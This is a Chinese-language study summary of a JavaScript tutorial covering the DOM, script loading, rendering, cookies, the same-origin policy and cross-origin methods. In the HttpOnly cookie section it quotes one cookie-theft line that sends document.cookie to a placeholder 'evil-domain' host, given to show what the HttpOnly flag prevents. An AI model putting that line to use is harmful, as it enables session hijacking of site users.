JavaScript 标准参考教程-阅读总结(三)
1、DOM模型
DOM 是 JavaScript 操作网页的接口,全称为“文档对象模型”(Document Object Model)。它的作用是将网页转为一个 JavaScript 对象,从而可以用脚本进行各种操作(比如增删内容)。
1)document
对象
document
对象是文档的根节点,每张网页都有自己的document
对象。window.document
属性就指向这个对象。只要浏览器开始载入 HTML 文档,该对象就存在了,可以直接使用。
document.doctype:对于 HTML 文档来说,document
对象一般有两个子节点。第一个子节点是document.doctype
,指向<DOCTYPE>
节点,即文档类型(Document Type Declaration,简写DTD)节点。HTML 的文档类型节点,一般写成<!DOCTYPE html>
。
document.documentElement:document.documentElement
属性返回当前文档的根节点(root)。它通常是document
节点的第二个子节点,紧跟在document.doctype
节点后面。HTML网页的该属性,一般是<html>
节点。
document.body,document.head:document.body
属性指向<body>
节点,document.head
属性指向<head>
节点。
document.domain:document.domain
属性返回当前文档的域名,不包含协议和接口。比如,网页的网址是http://www.example.com:80/hello.html
,那么domain
属性就等于www.example.com
。如果无法获取域名,该属性返回null
。
document.title:document.title
属性返回当前文档的标题。默认情况下,返回<title>
节点的值。但是该属性是可写的,一旦被修改,就返回修改后的值。
document.write():document.write
方法用于向当前文档写入内容。它是JavaScript语言标准化之前就存在的方法,现在完全有更符合标准的方法向文档写入内容(比如对innerHTML
属性赋值)。所以,除了某些特殊情况,应该尽量避免使用document.write
这个方法。
1)Element对象
Element
对象对应网页的 HTML 元素。每一个 HTML 元素,在 DOM 树上都会转化成一个Element
节点对象。
Element.tagName:返回指定元素的大写标签名。
网页元素可以自定义data-
属性,用来添加数据。Element.dataset
属性返回一个对象,可以从这个对象读写data-
属性。注意,dataset
上面的各个属性返回都是字符串。
// <span id="myspan" data-project-index="1" data-test='123'>Hello</span> var myspan = document.getElementById('myspan');
myspan.dataset.timestamp = new Date().getTime(); console.log(myspan.dataset.projectIndex, myspan.dataset.test); // 1 123 console.log(myspan.getAttribute('data-project-index')); // 1
除了使用dataset
读写data-
属性,也可以使用Element.getAttribute()
和Element.setAttribute()
,通过完整的属性名读写这些属性。
2、浏览器对象模型(BOM)
1)概述
1.1)script标签
a)工作原理
浏览器加载JavaScript脚本,主要通过<script>
标签完成。正常的网页加载流程是这样的。
- 浏览器一边下载HTML网页,一边开始解析
- 解析过程中,发现
<script>
标签 - 暂停解析,网页渲染的控制权转交给JavaScript引擎
- 如果
<script>
标签引用了外部脚本,就下载该脚本,否则就直接执行 - 执行完毕,控制权交还渲染引擎,恢复往下解析HTML网页
加载外部脚本时,浏览器会暂停页面渲染,等待脚本下载并执行完成后,再继续渲染。原因是JavaScript可以修改DOM(比如使用document.write
方法),所以必须把控制权让给它,否则会导致复杂的线程竞赛的问题。
如果外部脚本加载时间很长(比如一直无法完成下载),就会造成网页长时间失去响应,浏览器就会呈现“假死”状态,这被称为“阻塞效应”。为了避免这种情况,较好的做法是将<script>
标签都放在页面底部,而不是头部。这样即使遇到脚本失去响应,网页主体的渲染也已经完成了,用户至少可以看到内容,而不是面对一张空白的页面。如果某些脚本代码非常重要,一定要放在页面头部的话,最好直接将代码嵌入页面,而不是连接外部脚本文件,这样能缩短加载时间。
将脚本文件都放在网页尾部加载,还有一个好处。在DOM结构生成之前就调用DOM,JavaScript会报错,如果脚本都在网页尾部加载,就不存在这个问题,因为这时DOM肯定已经生成了。
<html lang="en"> <head> <!--...--> <script> // console.log(document.body); // null /*document.addEventListener('DOMContentLoaded',function(){ console.log(document.body); // <body>...</body> })*/ /*window.onload = function() { console.log(document.body); // <body>...</body> }*/ </script> </head> <body> <script> console.log(document.body); // <body>...</body> </script> </body> </html>
如果有多个script
标签,比如下面这样。
<script src="a.js"></script> <script src="b.js"></script>
浏览器会同时并行下载a.js
和b.js
,但是,执行时会保证先执行a.js
,然后再执行b.js
,即使后者先下载完成,也是如此。也就是说,脚本的执行顺序由它们在页面中的出现顺序决定,这是为了保证脚本之间的依赖关系不受到破坏。当然,加载这两个脚本都会产生“阻塞效应”,必须等到它们都加载完成,浏览器才会继续页面渲染。
b)defer属性
为了解决脚本文件下载阻塞网页渲染的问题,一个方法是加入defer
属性。
<script src="a.js" defer></script> <script src="b.js" defer></script>
上面代码中,只有等到DOM加载完成后,才会执行a.js
和b.js
。
defer
的运行流程如下:
- 浏览器开始解析HTML网页
- 解析过程中,发现带有
defer
属性的script
标签 - 浏览器继续往下解析HTML网页,同时并行下载
script
标签中的外部脚本 - 浏览器完成解析HTML网页,此时再执行下载的脚本
有了defer
属性,浏览器下载脚本文件的时候,不会阻塞页面渲染。下载的脚本文件在DOMContentLoaded
事件触发前执行(即刚刚读取完</html>
标签),而且可以保证执行顺序就是它们在页面上出现的顺序。对于内置而不是加载外部脚本的script
标签,以及动态生成的script
标签,defer
属性不起作用。另外,使用defer
加载的外部脚本不应该使用document.write
方法。
c)async属性
解决“阻塞效应”的另一个方法是加入async
属性。
<script src="a.js" async></script> <script src="b.js" async></script>
async
属性的作用是,使用另一个进程下载脚本,下载时不会阻塞渲染。
- 浏览器开始解析HTML网页
- 解析过程中,发现带有
async
属性的script
标签 - 浏览器继续往下解析HTML网页,同时并行下载
script
标签中的外部脚本 - 脚本下载完成,浏览器暂停解析HTML网页,开始执行下载的脚本
- 脚本执行完毕,浏览器恢复解析HTML网页
async
属性可以保证脚本下载的同时,浏览器继续渲染。需要注意的是,一旦采用这个属性,就无法保证脚本的执行顺序。哪个脚本先下载结束,就先执行那个脚本。另外,使用async
属性的脚本文件中,不应该使用document.write
方法。
defer
属性和async
属性到底应该使用哪一个?一般来说,如果脚本之间没有依赖关系,就使用async
属性,如果脚本之间有依赖关系,就使用defer
属性。如果同时使用async
和defer
属性,后者不起作用,浏览器行为由async
属性决定。
1.2)浏览器的组成
浏览器的核心是两部分:渲染引擎和JavaScript解释器(又称JavaScript引擎)。
a)渲染引擎
渲染引擎的主要作用是,将网页代码渲染为用户视觉可以感知的平面文档。不同的浏览器有不同的渲染引擎。
渲染引擎处理网页,通常分成四个阶段。
- 解析代码:HTML代码解析为DOM,CSS代码解析为CSSOM(CSS Object Model)
- 对象合成:将DOM和CSSOM合成一棵渲染树(render tree)
- 布局:计算出渲染树的布局(layout)
- 绘制:将渲染树绘制到屏幕
以上四步并非严格按顺序执行,往往第一步还没完成,第二步和第三步就已经开始了。所以,会看到这种情况:网页的HTML代码还没下载完,但浏览器已经显示出内容了。
b)重流和重绘
渲染树转换为网页布局,称为“布局流”;布局显示到页面的这个过程,称为“绘制”。它们都具有阻塞效应,并且会耗费很多时间和计算资源。
页面生成以后,脚本操作和样式表操作,都会触发重流和重绘。用户的互动,也会触发,比如设置了鼠标悬停(a:hover
)效果、页面滚动、在输入框中输入文本、改变窗口大小等等。重流和重绘并不一定一起发生,重流必然导致重绘,重绘不一定需要重流。比如改变元素颜色,只会导致重绘,而不会导致重流;改变元素的布局,则会导致重绘和重流。大多数情况下,浏览器会智能判断,将重流和重绘只限制到相关的子树上面,最小化所耗费的代价,而不会全局重新生成网页。
作为开发者,应该尽量设法降低重绘的次数和成本。比如,尽量不要变动高层的DOM元素,而以底层DOM元素的变动代替;再比如,重绘table
布局和flex
布局,开销都会比较大。
优化技巧。
- 读取DOM或者写入DOM,尽量写在一起,不要混杂
- 缓存DOM信息
- 不要一项一项地改变样式,而是使用CSS class一次性改变样式
- 使用document fragment操作DOM
- 动画时使用absolute定位或fixed定位,这样可以减少对其他元素的影响
- 只在必要时才显示元素
- 使用
window.requestAnimationFrame()
,因为它可以把代码推迟到下一次重流时执行,而不是立即要求页面重流 - 使用虚拟DOM(virtual DOM)库
c)JavaScript引擎
JavaScript引擎的主要作用是,读取网页中的JavaScript代码,对其处理后运行。
JavaScript是一种解释型语言,也就是说,它不需要编译,由解释器实时运行。这样的好处是运行和修改都比较方便,刷新页面就可以重新解释;缺点是每次运行都要调用解释器,系统开销较大,运行速度慢于编译型语言。为了提高运行速度,目前的浏览器都将JavaScript进行一定程度的编译,生成类似字节码的中间代码,以提高运行速度。
2)window
对象
在浏览器中,window
对象指当前的浏览器窗口。它也是所有对象的顶层对象。
“顶层对象”指的是最高一层的对象,所有其他对象都是它的下属。JavaScript规定,浏览器环境的所有全局变量,都是window
对象的属性。
2.1)URL的编码/解码方法
网页URL的合法字符分成两类。
- URL元字符:分号(
;
),逗号(’,’),斜杠(/
),问号(?
),冒号(:
),at(@
),&
,等号(=
),加号(+
),美元符号($
),井号(#
) - 语义字符:
a-z
,A-Z
,0-9
,连词号(-
),下划线(_
),点(.
),感叹号(!
),波浪线(~
),星号(*
),单引号(\
),圆括号(
()`)
除了以上字符,其他字符出现在URL之中都必须转义,规则是根据操作系统的默认编码,将每个字节转为百分号(%
)加上两个大写的十六进制字母。
JavaScript提供四个URL的编码/解码方法:encodeURI()、
encodeURIComponent()、
decodeURI()、
decodeURIComponent()。
encodeURI
方法的参数是一个字符串,代表整个URL。它会将元字符和语义字符之外的字符,都进行转义;encodeURIComponent
只转除了语义字符之外的字符,元字符也会被转义。因此,它的参数通常是URL的路径或参数值,而不是整个URL。
encodeURI('http://www.example.com/q=春节') // "http://www.example.com/q=%E6%98%A5%E8%8A%82" encodeURIComponent('http://www.example.com/q=春节') // "http%3A%2F%2Fwww.example.com%2Fq%3D%E6%98%A5%E8%8A%82"
上面代码中,encodeURIComponent
会连URL元字符一起转义,所以通常只用它转URL的片段。
decodeURI
用于还原转义后的URL,它是encodeURI
方法的逆运算;decodeURIComponent
用于还原转义后的URL片段,它是encodeURIComponent
方法的逆运算。
2.2)window.location
window.location
返回一个location
对象,用于获取窗口当前的URL信息。它等同于document.location
对象
3)history
对象
浏览器窗口有一个history
对象,用来保存浏览历史。
history
对象提供了一系列方法,允许在浏览历史之间移动。
back()
:移动到上一个访问页面,等同于浏览器的后退键。forward()
:移动到下一个访问页面,等同于浏览器的前进键。go()
:接受一个整数作为参数,移动到该整数指定的页面,比如go(1)
相当于forward()
,go(-1)
相当于back()
。
如果移动的位置超出了访问历史的边界,以上三个方法并不报错,而是默默的失败。history.go(0)
相当于刷新当前页面。注意,返回上一页时,页面通常是从浏览器缓存之中加载,而不是重新要求服务器发送新的网页。
4)Cookie
4.1)概述
Cookie 是服务器保存在浏览器的一小段文本信息,每个 Cookie 的大小一般不能超过4KB。浏览器每次向服务器发出请求,就会自动附上这段信息。Cookie 主要用来分辨两个请求是否来自同一个浏览器,以及用来保存一些状态信息。它的常用场合有以下一些。
- 对话(session)管理:保存登录、购物车等需要记录的信息。
- 个性化:保存用户的偏好,比如网页的字体大小、背景色等等。
- 追踪:记录和分析用户行为。
有些开发者使用 Cookie 作为客户端储存。这样做虽然可行,但是并不推荐,因为 Cookie 的设计目标并不是这个,它的容量很小(4KB),缺乏数据操作接口,而且会影响性能。客户端储存应该使用 Web storage API 和 IndexedDB。
Cookie 包含以下几方面的信息:Cookie 的名字、Cookie 的值、到期时间、所属域名(默认是当前域名)、生效的路径(默认是当前网址)。
举例来说,用户访问网址www.example.com
,服务器在浏览器写入一个 Cookie。这个 Cookie 就会包含www.example.com
这个域名,以及根路径/
。这意味着,这个 Cookie 对该域名的根路径和它的所有子路径都有效。如果路径设为/forums
,那么这个 Cookie 只有在访问www.example.com/forums
及其子路径时才有效。以后,浏览器一旦访问这个路径,浏览器就会附上这段 Cookie 发送给服务器。
document.cookie
属性返回当前网页的 Cookie。浏览器的同源政策规定,两个网址只要域名相同和端口相同,就可以共享 Cookie。注意,这里不要求协议相同。也就是说,http://example.com
设置的 Cookie,可以被https://example.com
读取。
4.2)Cookie 与 HTTP 协议
a)HTTP 回应:Cookie 的生成
Cookie 由 HTTP 协议生成,也主要是供 HTTP 协议使用。服务器如果希望在浏览器保存 Cookie,就要在 HTTP 回应的头信息里面,放置一个Set-Cookie
字段。
Set-Cookie:foo=bar
上面代码会在浏览器保存一个名为foo
的 Cookie,它的值为bar
。
b)HTTP 请求:Cookie 的发送
浏览器向服务器发送 HTTP 请求时,每个请求都会带上相应的 Cookie。也就是说,把服务器早前保存在浏览器的这段信息,再发回服务器。这时要使用 HTTP 头信息的Cookie
字段。
Cookie: foo=bar
上面代码会向服务器发送名为foo
的 Cookie,值为bar
。Cookie
字段可以包含多个 Cookie,使用分号(;
)分隔。
Cookie: name=value; name2=value2; name3=value3
4.3)Cookie 的属性
a)Expires,Max-Age
Expires
属性指定一个具体的到期时间,到了指定时间以后,浏览器就不再保留这个 Cookie。如果不设置该属性,或者设为null
,Cookie 只在当前会话(session)有效,浏览器窗口一旦关闭,当前 Session 结束,该 Cookie 就会被删除。另外,浏览器根据本地时间,决定 Cookie 是否过期,由于本地时间是不精确的,所以没有办法保证 Cookie 一定会在服务器指定的时间过期。
Max-Age
属性指定从现在开始 Cookie 存在的秒数,比如60 * 60 * 24 * 365
(即一年)。过了这个时间以后,浏览器就不再保留这个 Cookie。如果同时指定了Expires
和Max-Age
,那么Max-Age
的值将优先生效。
如果Set-Cookie
字段没有指定Expires
或Max-Age
属性,那么这个 Cookie 就是 Session Cookie,即它只在本次对话存在,一旦用户关闭浏览器,浏览器就不会再保留这个 Cookie。
b)Domain,Path
Domain
属性指定浏览器发出 HTTP 请求时,哪些域名要附带这个 Cookie。如果没有指定该属性,浏览器会默认将其设为当前 URL 的一级域名,比如www.example.com
会设为example.com
,而且以后如果访问example.com
的任何子域名,HTTP 请求也会带上这个 Cookie。如果服务器在Set-Cookie
字段指定的域名,不属于当前域名,浏览器会拒绝这个 Cookie。
Path
属性指定浏览器发出 HTTP 请求时,哪些路径要附带这个 Cookie。只要浏览器发现,Path
属性是 HTTP 请求路径的开头一部分,就会在头信息里面带上这个 Cookie。比如,PATH
属性是/
,那么请求/docs
路径也会包含该 Cookie。当然,前提是域名必须一致。
c)Secure,HttpOnly
Secure
属性指定浏览器只有在加密协议 HTTPS 下,才能将这个 Cookie 发送到服务器。另一方面,如果当前协议是 HTTP,浏览器会自动忽略服务器发来的Secure
属性。该属性只是一个开关,不需要指定值。如果通信是 HTTPS 协议,该开关自动打开。
HttpOnly
属性指定该 Cookie 无法通过 JavaScript 脚本拿到,主要是Document.cookie
属性、XMLHttpRequest
对象和 Request API 都拿不到该属性。这样就防止了该 Cookie 被脚本读到,只有浏览器发出 HTTP 请求时,才会带上该 Cookie。
(new Image()).src = "http://www.evil-domain.com/steal-cookie.php?cookie=" + document.cookie;
上面是跨站点载入的一个恶意脚本的代码,能够将当前网页的 Cookie 发往第三方服务器。如果设置了一个 Cookie 的HttpOnly
属性,上面代码就不会读到该 Cookie。
4.4)document.cookie
document.cookie
属性用于读写当前网页的 Cookie。读取的时候,它会返回当前网页的所有 Cookie,前提是该 Cookie 不能有HTTPOnly
属性。
document.cookie // "foo=bar;baz=bar"
上面代码从document.cookie
一次性读出两个 Cookie,它们之间使用分号分隔。必须手动还原,才能取出每一个 Cookie 的值。
var cookies = document.cookie.split(';'); for (var i = 0; i < cookies.length; i++) { console.log(cookies[i]); } // foo=bar // baz=bar
document.cookie
属性是可写的,可以通过它为当前网站添加 Cookie。
document.cookie = 'fontSize=14';
写入的时候,Cookie 的值必须写成key=value
的形式。document.cookie
一次只能写入一个 Cookie。
5)Web Storage:浏览器端数据储存机制
这个API的作用是,使得网页可以在浏览器端储存数据。它分成两类:sessionStorage和localStorage。sessionStorage保存的数据用于浏览器的一次会话,当会话结束(通常是该窗口关闭),数据被清空;localStorage保存的数据长期存在,下一次访问该网站的时候,网页可以直接读取以前保存的数据。除了保存期限的长短不同,这两个对象的属性和方法完全一样。与Cookie一样,它们也受同域限制。某个网页存入的数据,只有同域下的网页才能读取。
6)同源政策
同源政策最初的含义是指,A 网页设置的 Cookie,B 网页不能打开,除非这两个网页“同源”。所谓“同源”指的是”三个相同“:协议相同、域名相同、端口相同。
同源政策的目的,是为了保证用户信息的安全,防止恶意的网站窃取数据。
6.1)Cookie
Cookie 是服务器写入浏览器的一小段信息,只有同源的网页才能共享。如果两个网页一级域名相同,只是次级域名不同,浏览器允许通过设置document.domain
共享 Cookie。
举例来说,A 网页的网址是http://w1.example.com/a.html
,B 网页的网址是http://w2.example.com/b.html
,那么只要设置相同的document.domain
,两个网页就可以共享 Cookie。因为浏览器通过document.domain
属性来检查是否同源。
// 两个网页都需要设置 document.domain = 'example.com';
注意,A 和 B 两个网页都需要设置document.domain
属性,才能达到同源的目的。因为设置document.domain
的同时,会把端口重置为null
,因此如果只设置一个网页的document.domain
,会导致两个网址的端口不同,还是达不到同源的目的。
另外,服务器也可以在设置 Cookie 的时候,指定 Cookie 的所属域名为一级域名,比如.example.com
。这样的话,二级域名和三级域名不用做任何设置,都可以读取这个 Cookie。
Set-Cookie: key=value; domain=.example.com; path=/
6.2)AJAX
同源政策规定,AJAX 请求只能发给同源的网址,否则就报错。除了架设服务器代理(浏览器请求同源服务器,再由后者请求外部服务),有三种方法规避这个限制:JSONP、WebSocket、CORS。
a)JSONP
JSONP 是服务器与客户端跨源通信的常用方法。最大特点就是简单适用,老式浏览器全部支持,服务端改造非常小。它的基本思想是,网页通过添加一个<script>
元素,向服务器请求 JSON 数据,这种做法不受同源政策限制;服务器收到请求后,将数据放在一个指定名字的回调函数里传回来。
function addScriptTag(src) { var script = document.createElement('script'); script.src = src; document.body.appendChild(script); } window.onload = function () { //addScriptTag('https://xxx/xxx.do?callback=foo'); addScriptTag('https://xxx/xxx.do?jsonp=foo'); } function foo(data) { console.log(data); };
上面代码通过动态添加<script>
元素,向服务器发出请求(https://xxx/xxx.do)。注意,该请求的查询字符串有一个callback或jsonp
参数,用来指定回调函数的名字,这对于 JSONP 是必需的。服务器收到这个请求以后,会将数据放在回调函数的参数位置返回。由于<script>
元素请求的脚本,直接作为代码运行。这时,只要浏览器定义了foo
函数,该函数就会立即调用(未定义会报错)。
b)WebSocket
WebSocket 是一种通信协议,使用ws://
(非加密)和wss://
(加密)作为协议前缀。该协议不实行同源政策,只要服务器支持,就可以通过它进行跨源通信。
下面是一个例子,浏览器发出的 WebSocket 请求的头信息
GET /chat HTTP/1.1 Host: server.example.com Upgrade: websocket Connection: Upgrade Sec-WebSocket-Key: x3JJHMbDL1EzLkh9GBhXDw== Sec-WebSocket-Protocol: chat, superchat Sec-WebSocket-Version: 13 Origin: http://example.com
上面代码中,有一个字段是Origin
,表示该请求的请求源,即发自哪个域名。正是因为有了Origin
这个字段,所以 WebSocket 才没有实行同源政策。因为服务器可以根据这个字段,判断是否许可本次通信。如果该域名在白名单内,服务器就会做出回应。
c)CORS
CORS 是跨源资源分享(Cross-Origin Resource Sharing)的缩写。它是 W3C 标准,属于跨源 AJAX 请求的根本解决方法。相比 JSONP 只能发GET
请求,CORS 允许任何类型的请求。
7)AJAX